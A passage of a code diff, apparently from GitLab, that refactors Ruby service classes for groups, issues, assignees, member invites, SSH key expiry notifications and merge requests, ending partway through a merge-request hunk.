--- a/app/services/git/wiki_push_service/change.rb
+++ b/app/services/git/wiki_push_service/change.rb
@@ -9,7 +9,9 @@ module Git
# @param [Hash] change - must have keys `:oldrev` and `:newrev`
# @param [Gitlab::Git::RawDiffChange] raw_change
def initialize(wiki, change, raw_change)
- @wiki, @raw_change, @change = wiki, raw_change, change
+ @wiki = wiki
+ @raw_change = raw_change
+ @change = change
end
def page
diff --git a/app/services/groups/base_service.rb b/app/services/groups/base_service.rb
index 019cd047ae9..06136aff50e 100644
--- a/app/services/groups/base_service.rb
+++ b/app/services/groups/base_service.rb
@@ -5,11 +5,25 @@ module Groups
attr_accessor :group, :current_user, :params
def initialize(group, user, params = {})
- @group, @current_user, @params = group, user, params.dup
+ @group = group
+ @current_user = user
+ @params = params.dup
end
private
+ def handle_namespace_settings
+ settings_params = params.slice(*::NamespaceSetting::NAMESPACE_SETTINGS_PARAMS)
+
+ return if settings_params.empty?
+
+ ::NamespaceSetting::NAMESPACE_SETTINGS_PARAMS.each do |nsp|
+ params.delete(nsp)
+ end
+
+ ::NamespaceSettings::UpdateService.new(current_user, group, settings_params).execute
+ end
+
def remove_unallowed_params
# overridden in EE
end
diff --git a/app/services/groups/count_service.rb b/app/services/groups/count_service.rb
new file mode 100644
index 00000000000..2a15ae3bc57
--- /dev/null
+++ b/app/services/groups/count_service.rb
@@ -0,0 +1,49 @@
+# frozen_string_literal: true
+
+module Groups
+ class CountService < BaseCountService
+ include Gitlab::Utils::StrongMemoize
+
+ VERSION = 1
+ CACHED_COUNT_THRESHOLD = 1000
+ EXPIRATION_TIME = 24.hours
+
+ attr_reader :group, :user
+
+ def initialize(group, user = nil)
+ @group = group
+ @user = user
+ end
+
+ def count
+ cached_count = Rails.cache.read(cache_key)
+ return cached_count unless cached_count.blank?
+
+ refreshed_count = uncached_count
+ update_cache_for_key(cache_key) { refreshed_count } if refreshed_count > CACHED_COUNT_THRESHOLD
+ refreshed_count
+ end
+
+ def cache_key
+ ['groups', "#{issuable_key}_count_service", VERSION, group.id, cache_key_name]
+ end
+
+ private
+
+ def relation_for_count
+ raise NotImplementedError
+ end
+
+ def cache_options
+ super.merge({ expires_in: EXPIRATION_TIME })
+ end
+
+ def cache_key_name
+ raise NotImplementedError, 'cache_key_name must be implemented and return a String'
+ end
+
+ def issuable_key
+ raise NotImplementedError, 'issuable_key must be implemented and return a String'
+ end
+ end
+end
diff --git a/app/services/groups/create_service.rb b/app/services/groups/create_service.rb
index 3ead2323588..9ddb8ae7695 100644
--- a/app/services/groups/create_service.rb
+++ b/app/services/groups/create_service.rb
@@ -3,7 +3,8 @@
module Groups
class CreateService < Groups::BaseService
def initialize(user, params = {})
- @current_user, @params = user, params.dup
+ @current_user = user
+ @params = params.dup
@chat_team = @params.delete(:create_chat_team)
end
@@ -11,7 +12,10 @@ module Groups
remove_unallowed_params
set_visibility_level
- @group = Group.new(params)
+ @group = Group.new(params.except(*::NamespaceSetting::NAMESPACE_SETTINGS_PARAMS))
+
+ @group.build_namespace_settings
+ handle_namespace_settings
after_build_hook(@group, params)
@@ -33,7 +37,6 @@ module Groups
Group.transaction do
if @group.save
@group.add_owner(current_user)
- @group.create_namespace_settings unless @group.namespace_settings
Service.create_from_active_default_integrations(@group, :group_id)
OnboardingProgress.onboard(@group)
end
diff --git a/app/services/groups/group_links/create_service.rb b/app/services/groups/group_links/create_service.rb
index 57c746c3841..0a60140d037 100644
--- a/app/services/groups/group_links/create_service.rb
+++ b/app/services/groups/group_links/create_service.rb
@@ -2,7 +2,7 @@
module Groups
module GroupLinks
- class CreateService < BaseService
+ class CreateService < Groups::BaseService
def execute(shared_group)
unless group && shared_group &&
can?(current_user, :admin_group_member, shared_group) &&
diff --git a/app/services/groups/merge_requests_count_service.rb b/app/services/groups/merge_requests_count_service.rb
new file mode 100644
index 00000000000..bb49efe571a
--- /dev/null
+++ b/app/services/groups/merge_requests_count_service.rb
@@ -0,0 +1,22 @@
+# frozen_string_literal: true
+
+module Groups
+ # Service class for counting and caching the number of open merge requests of a group.
+ class MergeRequestsCountService < Groups::CountService
+ private
+
+ def cache_key_name
+ 'open_merge_requests_count'
+ end
+
+ def relation_for_count
+ MergeRequestsFinder
+ .new(user, group_id: group.id, state: 'opened', non_archived: true, include_subgroups: true)
+ .execute
+ end
+
+ def issuable_key
+ 'open_merge_requests'
+ end
+ end
+end
diff --git a/app/services/groups/nested_create_service.rb b/app/services/groups/nested_create_service.rb
index a51ac9aa593..35d45aaf0cc 100644
--- a/app/services/groups/nested_create_service.rb
+++ b/app/services/groups/nested_create_service.rb
@@ -5,7 +5,8 @@ module Groups
attr_reader :group_path, :visibility_level
def initialize(user, params)
- @current_user, @params = user, params.dup
+ @current_user = user
+ @params = params.dup
@group_path = @params.delete(:group_path)
@visibility_level = @params.delete(:visibility_level) ||
Gitlab::CurrentSettings.current_application_settings.default_group_visibility
diff --git a/app/services/groups/open_issues_count_service.rb b/app/services/groups/open_issues_count_service.rb
index db1ca09212a..ef787a04315 100644
--- a/app/services/groups/open_issues_count_service.rb
+++ b/app/services/groups/open_issues_count_service.rb
@@ -2,47 +2,12 @@
module Groups
# Service class for counting and caching the number of open issues of a group.
- class OpenIssuesCountService < BaseCountService
- include Gitlab::Utils::StrongMemoize
-
- VERSION = 1
+ class OpenIssuesCountService < Groups::CountService
PUBLIC_COUNT_KEY = 'group_public_open_issues_count'
TOTAL_COUNT_KEY = 'group_total_open_issues_count'
- CACHED_COUNT_THRESHOLD = 1000
- EXPIRATION_TIME = 24.hours
-
- attr_reader :group, :user
-
- def initialize(group, user = nil)
- @group = group
- @user = user
- end
-
- # Reads count value from cache and return it if present.
- # If empty or expired, #uncached_count will calculate the issues count for the group and
- # compare it with the threshold. If it is greater, it will be written to the cache and returned.
- # If below, it will be returned without being cached.
- # This results in only caching large counts and calculating the rest with every call to maintain
- # accuracy.
- def count
- cached_count = Rails.cache.read(cache_key)
- return cached_count unless cached_count.blank?
-
- refreshed_count = uncached_count
- update_cache_for_key(cache_key) { refreshed_count } if refreshed_count > CACHED_COUNT_THRESHOLD
- refreshed_count
- end
-
- def cache_key(key = nil)
- ['groups', 'open_issues_count_service', VERSION, group.id, cache_key_name]
- end
private
- def cache_options
- super.merge({ expires_in: EXPIRATION_TIME })
- end
-
def cache_key_name
public_only? ? PUBLIC_COUNT_KEY : TOTAL_COUNT_KEY
end
@@ -60,5 +25,9 @@ module Groups
def relation_for_count
IssuesFinder.new(user, group_id: group.id, state: 'opened', non_archived: true, include_subgroups: true, public_only: public_only?).execute
end
+
+ def issuable_key
+ 'open_issues'
+ end
end
end
diff --git a/app/services/groups/update_service.rb b/app/services/groups/update_service.rb
index 84385f5da25..ff369d01efc 100644
--- a/app/services/groups/update_service.rb
+++ b/app/services/groups/update_service.rb
@@ -46,18 +46,6 @@ module Groups
private
- def handle_namespace_settings
- settings_params = params.slice(*::NamespaceSetting::NAMESPACE_SETTINGS_PARAMS)
-
- return if settings_params.empty?
-
- ::NamespaceSetting::NAMESPACE_SETTINGS_PARAMS.each do |nsp|
- params.delete(nsp)
- end
-
- ::NamespaceSettings::UpdateService.new(current_user, group, settings_params).execute
- end
-
def valid_path_change_with_npm_packages?
return true unless group.packages_feature_enabled?
return true if params[:path].blank?
diff --git a/app/services/issuable/bulk_update_service.rb b/app/services/issuable/bulk_update_service.rb
index d3d543edcd7..8bcbb92cd0e 100644
--- a/app/services/issuable/bulk_update_service.rb
+++ b/app/services/issuable/bulk_update_service.rb
@@ -7,7 +7,9 @@ module Issuable
attr_accessor :parent, :current_user, :params
def initialize(parent, user = nil, params = {})
- @parent, @current_user, @params = parent, user, params.dup
+ @parent = parent
+ @current_user = user
+ @params = params.dup
end
def execute(type)
@@ -15,7 +17,7 @@ module Issuable
set_update_params(type)
items = update_issuables(type, ids)
- response_success(payload: { count: items.count })
+ response_success(payload: { count: items.size })
rescue ArgumentError => e
response_error(e.message, 422)
end
@@ -59,10 +61,17 @@ module Issuable
def find_issuables(parent, model_class, ids)
if parent.is_a?(Project)
- model_class.id_in(ids).of_projects(parent)
+ projects = parent
elsif parent.is_a?(Group)
- model_class.id_in(ids).of_projects(parent.all_projects)
+ projects = parent.all_projects
+ else
+ return
end
+
+ model_class
+ .id_in(ids)
+ .of_projects(projects)
+ .includes_for_bulk_update
end
def response_success(message: nil, payload: nil)
diff --git a/app/services/issuable/destroy_service.rb b/app/services/issuable/destroy_service.rb
index 4c64655a622..bdbd814435e 100644
--- a/app/services/issuable/destroy_service.rb
+++ b/app/services/issuable/destroy_service.rb
@@ -3,12 +3,36 @@
module Issuable
class DestroyService < IssuableBaseService
def execute(issuable)
- TodoService.new.destroy_target(issuable) do |issuable|
- if issuable.destroy
- issuable.update_project_counter_caches
- issuable.assignees.each(&:invalidate_cache_counts)
- end
+ if issuable.destroy
+ after_destroy(issuable)
+ end
+ end
+
+ private
+
+ def after_destroy(issuable)
+ delete_todos(issuable)
+ issuable.update_project_counter_caches
+ issuable.assignees.each(&:invalidate_cache_counts)
+ end
+
+ def group_for(issuable)
+ issuable.resource_parent
+ end
+
+ def delete_todos(issuable)
+ group = group_for(issuable)
+
+ if Feature.enabled?(:destroy_issuable_todos_async, group, default_enabled: :yaml)
+ TodosDestroyer::DestroyedIssuableWorker
+ .perform_async(issuable.id, issuable.class.name)
+ else
+ TodosDestroyer::DestroyedIssuableWorker
+ .new
+ .perform(issuable.id, issuable.class.name)
end
end
end
end
+
+Issuable::DestroyService.prepend_if_ee('EE::Issuable::DestroyService')
diff --git a/app/services/issuable/process_assignees.rb b/app/services/issuable/process_assignees.rb
index c9c6b0bed85..1ef6d3d9c42 100644
--- a/app/services/issuable/process_assignees.rb
+++ b/app/services/issuable/process_assignees.rb
@@ -14,12 +14,13 @@ module Issuable
end
def execute
- if assignee_ids.blank?
- updated_new_assignees = new_assignee_ids
+ updated_new_assignees = new_assignee_ids
+
+ if add_assignee_ids.blank? && remove_assignee_ids.blank?
+ updated_new_assignees = assignee_ids if assignee_ids
+ else
updated_new_assignees |= add_assignee_ids if add_assignee_ids
updated_new_assignees -= remove_assignee_ids if remove_assignee_ids
- else
- updated_new_assignees = assignee_ids
end
updated_new_assignees.uniq
diff --git a/app/services/issuable_base_service.rb b/app/services/issuable_base_service.rb
index 094b31b4ad6..add53bc6267 100644
--- a/app/services/issuable_base_service.rb
+++ b/app/services/issuable_base_service.rb
@@ -29,32 +29,48 @@ class IssuableBaseService < BaseService
params.delete(:label_ids)
params.delete(:assignee_ids)
params.delete(:assignee_id)
+ params.delete(:add_assignee_ids)
+ params.delete(:remove_assignee_ids)
params.delete(:due_date)
params.delete(:canonical_issue_id)
params.delete(:project)
params.delete(:discussion_locked)
end
- filter_assignee(issuable)
+ filter_assignees(issuable)
filter_milestone
filter_labels
end
- def filter_assignee(issuable)
- return if params[:assignee_ids].blank?
+ def filter_assignees(issuable)
+ filter_assignees_with_key(issuable, :assignee_ids, :assignees)
+ filter_assignees_with_key(issuable, :add_assignee_ids, :add_assignees)
+ filter_assignees_with_key(issuable, :remove_assignee_ids, :remove_assignees)
+ end
+
+ def filter_assignees_with_key(issuable, id_key, key)
+ if params[key] && params[id_key].blank?
+ params[id_key] = params[key].map(&:id)
+ end
+
+ return if params[id_key].blank?
+
+ filter_assignees_using_checks(issuable, id_key)
+ end
+ def filter_assignees_using_checks(issuable, id_key)
unless issuable.allows_multiple_assignees?
- params[:assignee_ids] = params[:assignee_ids].first(1)
+ params[id_key] = params[id_key].first(1)
end
- assignee_ids = params[:assignee_ids].select { |assignee_id| user_can_read?(issuable, assignee_id) }
+ assignee_ids = params[id_key].select { |assignee_id| user_can_read?(issuable, assignee_id) }
- if params[:assignee_ids].map(&:to_s) == [IssuableFinder::Params::NONE]
- params[:assignee_ids] = []
+ if params[id_key].map(&:to_s) == [IssuableFinder::Params::NONE]
+ params[id_key] = []
elsif assignee_ids.any?
- params[:assignee_ids] = assignee_ids
+ params[id_key] = assignee_ids
else
- params.delete(:assignee_ids)
+ params.delete(id_key)
end
end
@@ -116,6 +132,15 @@ class IssuableBaseService < BaseService
new_label_ids.uniq
end
+ def process_assignee_ids(attributes, existing_assignee_ids: nil, extra_assignee_ids: [])
+ process = Issuable::ProcessAssignees.new(assignee_ids: attributes.delete(:assignee_ids),
+ add_assignee_ids: attributes.delete(:add_assignee_ids),
+ remove_assignee_ids: attributes.delete(:remove_assignee_ids),
+ existing_assignee_ids: existing_assignee_ids,
+ extra_assignee_ids: extra_assignee_ids)
+ process.execute
+ end
+
def handle_quick_actions(issuable)
merge_quick_actions_into_params!(issuable)
end
@@ -145,6 +170,10 @@ class IssuableBaseService < BaseService
params[:author] ||= current_user
params[:label_ids] = process_label_ids(params, extra_label_ids: issuable.label_ids.to_a)
+ if issuable.respond_to?(:assignee_ids)
+ params[:assignee_ids] = process_assignee_ids(params, extra_assignee_ids: issuable.assignee_ids.to_a)
+ end
+
issuable.assign_attributes(params)
before_create(issuable)
@@ -191,6 +220,7 @@ class IssuableBaseService < BaseService
old_associations = associations_before_update(issuable)
assign_requested_labels(issuable)
+ assign_requested_assignees(issuable)
if issuable.changed? || params.present?
issuable.assign_attributes(params)
@@ -354,6 +384,16 @@ class IssuableBaseService < BaseService
issuable.touch
end
+ def assign_requested_assignees(issuable)
+ return if issuable.is_a?(Epic)
+
+ assignee_ids = process_assignee_ids(params, existing_assignee_ids: issuable.assignee_ids)
+ if ids_changing?(issuable.assignee_ids, assignee_ids)
+ params[:assignee_ids] = assignee_ids
+ issuable.touch
+ end
+ end
+
# Arrays of ids are used, but we should really use sets of ids, so
# let's have an helper to properly check if some ids are changing
def ids_changing?(old_array, new_array)
@@ -384,6 +424,20 @@ class IssuableBaseService < BaseService
associations
end
+ def handle_move_between_ids(issuable_position)
+ return unless params[:move_between_ids]
+
+ after_id, before_id = params.delete(:move_between_ids)
+ positioning_scope_id = params.delete(positioning_scope_key)
+
+ issuable_before = issuable_for_positioning(before_id, positioning_scope_id)
+ issuable_after = issuable_for_positioning(after_id, positioning_scope_id)
+
+ raise ActiveRecord::RecordNotFound unless issuable_before || issuable_after
+
+ issuable_position.move_between(issuable_before, issuable_after)
+ end
+
def has_changes?(issuable, old_labels: [], old_assignees: [], old_reviewers: [])
valid_attrs = [:title, :description, :assignee_ids, :reviewer_ids, :milestone_id, :target_branch]
@@ -429,6 +483,8 @@ class IssuableBaseService < BaseService
# we need to check this because milestone from milestone_id param is displayed on "new" page
# where private project milestone could leak without this check
def ensure_milestone_available(issuable)
+ return unless issuable.supports_milestone? && issuable.milestone_id.present?
+
issuable.milestone_id = nil unless issuable.milestone_available?
end
diff --git a/app/services/issuable_links/create_service.rb b/app/services/issuable_links/create_service.rb
index f148c503dcf..cbb81f1f521 100644
--- a/app/services/issuable_links/create_service.rb
+++ b/app/services/issuable_links/create_service.rb
@@ -7,7 +7,9 @@ module IssuableLinks
attr_reader :issuable, :current_user, :params
def initialize(issuable, user, params)
- @issuable, @current_user, @params = issuable, user, params.dup
+ @issuable = issuable
+ @current_user = user
+ @params = params.dup
end
def execute
@@ -107,11 +109,11 @@ module IssuableLinks
end
def issuables_assigned_message
- 'Issue(s) already assigned'
+ _("Issue(s) already assigned")
end
def issuables_not_found_message
- 'No Issue found for given params'
+ _("No matching issue found. Make sure that you are adding a valid issue URL.")
end
end
end
diff --git a/app/services/issuable_links/destroy_service.rb b/app/services/issuable_links/destroy_service.rb
index 57e1314e0da..28035bbb291 100644
--- a/app/services/issuable_links/destroy_service.rb
+++ b/app/services/issuable_links/destroy_service.rb
@@ -15,14 +15,18 @@ module IssuableLinks
return error(not_found_message, 404) unless permission_to_remove_relation?
remove_relation
- create_notes
- track_event
+ after_destroy
success(message: 'Relation was removed')
end
private
+ def after_destroy
+ create_notes
+ track_event
+ end
+
def remove_relation
link.destroy!
end
diff --git a/app/services/issuable_links/list_service.rb b/app/services/issuable_links/list_service.rb
index 10a2da7eb03..fe9678dcc32 100644
--- a/app/services/issuable_links/list_service.rb
+++ b/app/services/issuable_links/list_service.rb
@@ -7,7 +7,8 @@ module IssuableLinks
attr_reader :issuable, :current_user
def initialize(issuable, user)
- @issuable, @current_user = issuable, user
+ @issuable = issuable
+ @current_user = user
end
def execute
diff --git a/app/services/issue_rebalancing_service.rb b/app/services/issue_rebalancing_service.rb
index db5c5ddfb84..f9c3388204f 100644
--- a/app/services/issue_rebalancing_service.rb
+++ b/app/services/issue_rebalancing_service.rb
@@ -62,7 +62,7 @@ class IssueRebalancingService
def run_update_query(values, query_name)
Issue.connection.exec_query(<<~SQL, query_name)
- WITH cte(cte_id, new_pos) AS (
+ WITH cte(cte_id, new_pos) AS #{Gitlab::Database::AsWithMaterialized.materialized_if_supported} (
SELECT *
FROM (VALUES #{values}) as t (id, pos)
)
diff --git a/app/services/issues/after_create_service.rb b/app/services/issues/after_create_service.rb
new file mode 100644
index 00000000000..0c6ec65f0e2
--- /dev/null
+++ b/app/services/issues/after_create_service.rb
@@ -0,0 +1,13 @@
+# frozen_string_literal: true
+
+module Issues
+ class AfterCreateService < Issues::BaseService
+ def execute(issue)
+ todo_service.new_issue(issue, current_user)
+ delete_milestone_total_issue_counter_cache(issue.milestone)
+ track_incident_action(current_user, issue, :incident_created)
+ end
+ end
+end
+
+Issues::AfterCreateService.prepend_ee_mod
diff --git a/app/services/issues/base_service.rb b/app/services/issues/base_service.rb
index 25f319da03b..87615d1b4f2 100644
--- a/app/services/issues/base_service.rb
+++ b/app/services/issues/base_service.rb
@@ -52,7 +52,7 @@ module Issues
end
def execute_hooks(issue, action = 'open', old_associations: {})
- issue_data = hook_data(issue, action, old_associations: old_associations)
+ issue_data = Gitlab::Lazy.new { hook_data(issue, action, old_associations: old_associations) }
hooks_scope = issue.confidential? ? :confidential_issue_hooks : :issue_hooks
issue.project.execute_hooks(issue_data, hooks_scope)
issue.project.execute_services(issue_data, hooks_scope)
diff --git a/app/services/issues/create_service.rb b/app/services/issues/create_service.rb
index 3fdc66ed84e..68660b35bee 100644
--- a/app/services/issues/create_service.rb
+++ b/app/services/issues/create_service.rb
@@ -6,7 +6,7 @@ module Issues
def execute(skip_system_notes: false)
@request = params.delete(:request)
- @spam_params = Spam::SpamActionService.filter_spam_params!(params)
+ @spam_params = Spam::SpamActionService.filter_spam_params!(params, @request)
@issue = BuildService.new(project, current_user, params).execute
@@ -32,13 +32,11 @@ module Issues
end
end
+ # Add new items to Issues::AfterCreateService if they can be performed in Sidekiq
def after_create(issue)
add_incident_label(issue)
- todo_service.new_issue(issue, current_user)
user_agent_detail_service.create
resolve_discussions_with_issue(issue)
- delete_milestone_total_issue_counter_cache(issue.milestone)
- track_incident_action(current_user, issue, :incident_created)
super
end
@@ -77,4 +75,4 @@ module Issues
end
end
-Issues::CreateService.prepend_if_ee('EE::Issues::CreateService')
+Issues::CreateService.prepend_ee_mod
diff --git a/app/services/issues/update_service.rb b/app/services/issues/update_service.rb
index 2906bdf62a7..702527d80a7 100644
--- a/app/services/issues/update_service.rb
+++ b/app/services/issues/update_service.rb
@@ -8,7 +8,7 @@ module Issues
handle_move_between_ids(issue)
@request = params.delete(:request)
- @spam_params = Spam::SpamActionService.filter_spam_params!(params)
+ @spam_params = Spam::SpamActionService.filter_spam_params!(params, @request)
change_issue_duplicate(issue)
move_issue_to_new_project(issue) || clone_issue(issue) || update_task_event(issue) || update(issue)
@@ -96,19 +96,15 @@ module Issues
end
def handle_move_between_ids(issue)
- return unless params[:move_between_ids]
-
- after_id, before_id = params.delete(:move_between_ids)
- board_group_id = params.delete(:board_group_id)
-
- issue_before = get_issue_if_allowed(before_id, board_group_id)
- issue_after = get_issue_if_allowed(after_id, board_group_id)
- raise ActiveRecord::RecordNotFound unless issue_before || issue_after
+ super
- issue.move_between(issue_before, issue_after)
rebalance_if_needed(issue)
end
+ def positioning_scope_key
+ :board_group_id
+ end
+
# rubocop: disable CodeReuse/ActiveRecord
def change_issue_duplicate(issue)
canonical_issue_id = params.delete(:canonical_issue_id)
@@ -185,7 +181,7 @@ module Issues
end
# rubocop: disable CodeReuse/ActiveRecord
- def get_issue_if_allowed(id, board_group_id = nil)
+ def issuable_for_positioning(id, board_group_id = nil)
return unless id
issue =
diff --git a/app/services/jira_connect_subscriptions/base_service.rb b/app/services/jira_connect_subscriptions/base_service.rb
index 0e5bb91660e..042169acb6f 100644
--- a/app/services/jira_connect_subscriptions/base_service.rb
+++ b/app/services/jira_connect_subscriptions/base_service.rb
@@ -5,7 +5,9 @@ module JiraConnectSubscriptions
attr_accessor :jira_connect_installation, :current_user, :params
def initialize(jira_connect_installation, user = nil, params = {})
- @jira_connect_installation, @current_user, @params = jira_connect_installation, user, params.dup
+ @jira_connect_installation = jira_connect_installation
+ @current_user = user
+ @params = params.dup
end
end
end
diff --git a/app/services/keys/base_service.rb b/app/services/keys/base_service.rb
index 113e22b01ce..9b238e2f176 100644
--- a/app/services/keys/base_service.rb
+++ b/app/services/keys/base_service.rb
@@ -5,7 +5,8 @@ module Keys
attr_accessor :user, :params
def initialize(user, params = {})
- @user, @params = user, params
+ @user = user
+ @params = params
@ip_address = @params.delete(:ip_address)
end
diff --git a/app/services/keys/create_service.rb b/app/services/keys/create_service.rb
index c256de7b35d..c1c3ef8792f 100644
--- a/app/services/keys/create_service.rb
+++ b/app/services/keys/create_service.rb
@@ -5,7 +5,8 @@ module Keys
attr_accessor :current_user
def initialize(current_user, params = {})
- @current_user, @params = current_user, params
+ @current_user = current_user
+ @params = params
@ip_address = @params.delete(:ip_address)
@user = params.delete(:user) || current_user
end
diff --git a/app/services/keys/expiry_notification_service.rb b/app/services/keys/expiry_notification_service.rb
new file mode 100644
index 00000000000..b486f77ced2
--- /dev/null
+++ b/app/services/keys/expiry_notification_service.rb
@@ -0,0 +1,42 @@
+# frozen_string_literal: true
+
+module Keys
+ class ExpiryNotificationService < ::Keys::BaseService
+ attr_accessor :keys, :expiring_soon
+
+ def initialize(user, params)
+ @keys = params[:keys]
+ @expiring_soon = params[:expiring_soon]
+
+ super
+ end
+
+ def execute
+ return unless allowed?
+
+ if expiring_soon
+ trigger_expiring_soon_notification
+ else
+ trigger_expired_notification
+ end
+ end
+
+ private
+
+ def allowed?
+ user.can?(:receive_notifications)
+ end
+
+ def trigger_expiring_soon_notification
+ notification_service.ssh_key_expiring_soon(user, keys.map(&:fingerprint))
+
+ keys.update_all(before_expiry_notification_delivered_at: Time.current.utc)
+ end
+
+ def trigger_expired_notification
+ notification_service.ssh_key_expired(user, keys.map(&:fingerprint))
+
+ keys.update_all(expiry_notification_delivered_at: Time.current.utc)
+ end
+ end
+end
diff --git a/app/services/mattermost/create_team_service.rb b/app/services/mattermost/create_team_service.rb
index afcd6439a14..2cbcaaad5e1 100644
--- a/app/services/mattermost/create_team_service.rb
+++ b/app/services/mattermost/create_team_service.rb
@@ -3,7 +3,8 @@
module Mattermost
class CreateTeamService < ::BaseService
def initialize(group, current_user)
- @group, @current_user = group, current_user
+ @group = group
+ @current_user = current_user
end
def execute
diff --git a/app/services/members/create_service.rb b/app/services/members/create_service.rb
index cffccda1a44..953cf7f5bf6 100644
--- a/app/services/members/create_service.rb
+++ b/app/services/members/create_service.rb
@@ -2,67 +2,98 @@
module Members
class CreateService < Members::BaseService
- include Gitlab::Utils::StrongMemoize
+ BlankInvitesError = Class.new(StandardError)
+ TooManyInvitesError = Class.new(StandardError)
- DEFAULT_LIMIT = 100
+ DEFAULT_INVITE_LIMIT = 100
- def execute(source)
- return error(s_('AddMember|No users specified.')) if user_ids.blank?
+ def initialize(*args)
+ super
- return error(s_("AddMember|Too many users specified (limit is %{user_limit})") % { user_limit: user_limit }) if
- user_limit && user_ids.size > user_limit
+ @errors = []
+ @invites = invites_from_params&.split(',')&.uniq&.flatten
+ @source = params[:source]
+ end
+
+ def execute
+ validate_invites!
+
+ add_members
+ enqueue_onboarding_progress_action
+ result
+ rescue BlankInvitesError, TooManyInvitesError => e
+ error(e.message)
+ end
+
+ private
+
+ attr_reader :source, :errors, :invites, :member_created_namespace_id
+
+ def invites_from_params
+ params[:user_ids]
+ end
+
+ def validate_invites!
+ raise BlankInvitesError, blank_invites_message if invites.blank?
+
+ return unless user_limit && invites.size > user_limit
+
+ raise TooManyInvitesError,
+ format(s_("AddMember|Too many users specified (limit is %{user_limit})"), user_limit: user_limit)
+ end
+
+ def blank_invites_message
+ s_('AddMember|No users specified.')
+ end
+ def add_members
members = source.add_users(
- user_ids,
+ invites,
params[:access_level],
expires_at: params[:expires_at],
current_user: current_user
)
- errors = []
-
- members.each do |member|
- if member.invalid?
- current_error =
- # Invited users may not have an associated user
- if member.user.present?
- "#{member.user.username}: "
- else
- ""
- end
-
- current_error += member.errors.full_messages.to_sentence
- errors << current_error
- else
- after_execute(member: member)
- end
- end
-
- enqueue_onboarding_progress_action(source) if members.size > errors.size
-
- return success unless errors.any?
+ members.each { |member| process_result(member) }
+ end
- error(errors.to_sentence)
+ def process_result(member)
+ if member.invalid?
+ add_error_for_member(member)
+ else
+ after_execute(member: member)
+ @member_created_namespace_id ||= member.namespace_id
+ end
end
- private
+ def add_error_for_member(member)
+ prefix = "#{member.user.username}: " if member.user.present?
- def user_ids
- strong_memoize(:user_ids) do
- ids = params[:user_ids] || ''
- ids.split(',').uniq.flatten
- end
+ errors << "#{prefix}#{member.errors.full_messages.to_sentence}"
end
def user_limit
- limit = params.fetch(:limit, DEFAULT_LIMIT)
+ limit = params.fetch(:limit, DEFAULT_INVITE_LIMIT)
limit && limit < 0 ? nil : limit
end
- def enqueue_onboarding_progress_action(source)
- namespace_id = source.is_a?(Project) ? source.namespace_id : source.id
- Namespaces::OnboardingUserAddedWorker.perform_async(namespace_id)
+ def enqueue_onboarding_progress_action
+ return unless member_created_namespace_id
+
+ Namespaces::OnboardingUserAddedWorker.perform_async(member_created_namespace_id)
+ end
+
+ def result
+ if errors.any?
+ error(formatted_errors)
+ else
+ success
+ end
+ end
+
+ def formatted_errors
+ errors.to_sentence
end
end
end
diff --git a/app/services/members/invite_service.rb b/app/services/members/invite_service.rb
index 169500d08f0..48010f9c8e7 100644
--- a/app/services/members/invite_service.rb
+++ b/app/services/members/invite_service.rb
@@ -1,98 +1,46 @@
# frozen_string_literal: true
module Members
- class InviteService < Members::BaseService
- BlankEmailsError = Class.new(StandardError)
- TooManyEmailsError = Class.new(StandardError)
+ class InviteService < Members::CreateService
+ extend ::Gitlab::Utils::Override
def initialize(*args)
super
@errors = {}
- @emails = params[:email]&.split(',')&.uniq&.flatten
- end
-
- def execute(source)
- validate_emails!
-
- @source = source
- emails.each(&method(:process_email))
- result
- rescue BlankEmailsError, TooManyEmailsError => e
- error(e.message)
end
private
- attr_reader :source, :errors, :emails
-
- def validate_emails!
- raise BlankEmailsError, s_('AddMember|Email cannot be blank') if emails.blank?
-
- if user_limit && emails.size > user_limit
- raise TooManyEmailsError, s_("AddMember|Too many users specified (limit is %{user_limit})") % { user_limit: user_limit }
- end
- end
-
- def user_limit
- limit = params.fetch(:limit, Members::CreateService::DEFAULT_LIMIT)
-
- limit < 0 ? nil : limit
- end
-
- def process_email(email)
- return if existing_member?(email)
- return if existing_invite?(email)
- return if existing_request?(email)
-
- add_member(email)
- end
-
- def existing_member?(email)
- existing_member = source.members.with_user_by_email(email).exists?
-
- if existing_member
- errors[email] = s_("AddMember|Already a member of %{source_name}") % { source_name: source.name }
- return true
- end
+ alias_method :formatted_errors, :errors
- false
+ def invites_from_params
+ params[:email]
end
- def existing_invite?(email)
- existing_invite = source.members.search_invite_email(email).exists?
+ def validate_invites!
+ super
- if existing_invite
- errors[email] = s_("AddMember|Member already invited to %{source_name}") % { source_name: source.name }
- return true
- end
+ # we need the below due to add_users hitting Member#parse_users_list and ignoring invalid emails
+ # ideally we wouldn't need this, but we can't really change the add_users method
+ valid, invalid = invites.partition { |email| Member.valid_email?(email) }
+ @invites = valid
- false
+ invalid.each { |email| errors[email] = s_('AddMember|Invite email is invalid') }
end
- def existing_request?(email)
- existing_request = source.requesters.with_user_by_email(email).exists?
-
- if existing_request
- errors[email] = s_("AddMember|Member cannot be invited because they already requested to join %{source_name}") % { source_name: source.name }
- return true
- end
-
- false
+ override :blank_invites_message
+ def blank_invites_message
+ s_('AddMember|Emails cannot be blank')
end
- def add_member(email)
- new_member = source.add_user(email, params[:access_level], current_user: current_user, expires_at: params[:expires_at])
-
- errors[email] = new_member.errors.full_messages.to_sentence if new_member.invalid?
+ override :add_error_for_member
+ def add_error_for_member(member)
+ errors[invite_email(member)] = member.errors.full_messages.to_sentence
end
- def result
- if errors.any?
- error(errors)
- else
- success
- end
+ def invite_email(member)
+ member.invite_email || member.user.email
end
end
end
diff --git a/app/services/merge_requests/add_context_service.rb b/app/services/merge_requests/add_context_service.rb
index b693f8509a2..77b00f645c9 100644
--- a/app/services/merge_requests/add_context_service.rb
+++ b/app/services/merge_requests/add_context_service.rb
@@ -49,11 +49,9 @@ module MergeRequests
def duplicates
existing_oids = merge_request.merge_request_context_commits.map { |commit| commit.sha.to_s }
- duplicate_oids = existing_oids.select do |existing_oid|
+ existing_oids.select do |existing_oid|
commit_ids.select { |commit_id| existing_oid.start_with?(commit_id) }.count > 0
end
-
- duplicate_oids
end
def build_context_commit_rows(merge_request_id, commits)
diff --git a/app/services/merge_requests/after_create_service.rb b/app/services/merge_requests/after_create_service.rb
index b22afe8a20d..ed9747a8c99 100644
--- a/app/services/merge_requests/after_create_service.rb
+++ b/app/services/merge_requests/after_create_service.rb
@@ -24,6 +24,18 @@ module MergeRequests
merge_request.create_cross_references!(current_user)
OnboardingProgressService.new(merge_request.target_project.namespace).execute(action: :merge_request_created)
+
+ todo_service.new_merge_request(merge_request, current_user)
+ merge_request.cache_merge_request_closes_issues!(current_user)
